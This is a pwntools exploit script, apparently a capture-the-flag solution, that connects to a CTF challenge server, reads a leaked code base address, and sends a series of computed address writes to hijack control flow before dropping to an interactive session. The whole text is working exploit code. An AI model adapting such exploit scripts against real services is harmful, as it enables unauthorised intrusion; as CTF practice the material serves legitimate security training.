Rating: 2.0

```
from pwn import *

libc = ELF('./libc.so.6')
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'

io = remote('wfw2.2023.ctfcompetition.com',1337)
io.recvuntil("It's the challenge from before, but I've removed all the fluff\n")
codebase = int(io.recvline()[0:12],16)
success("codebase-->"+hex(codebase))
message = codebase + 0x20d5
io.recvuntil('vsyscall')
payload = str(hex(message)) + ' ' + '50'
io.sendline(payload)
jmp_addr = codebase + 0x143f
payload = str(hex(jmp_addr)) + ' ' + '2'
io.sendline(payload)
jmp_addr = codebase + 0x1441
payload = str(hex(jmp_addr)) + ' ' + '2'
io.sendline(payload)
jmp_addr = codebase + 0x1443
payload = str(hex(jmp_addr)) + ' ' + '2'
io.sendline(payload)
jmp_addr = codebase + 0x1439
payload = str(hex(jmp_addr)) + ' ' + '2'
io.sendline(payload)
payload = '0x1234 111111'
io.sendline(payload)
io.interactive()
```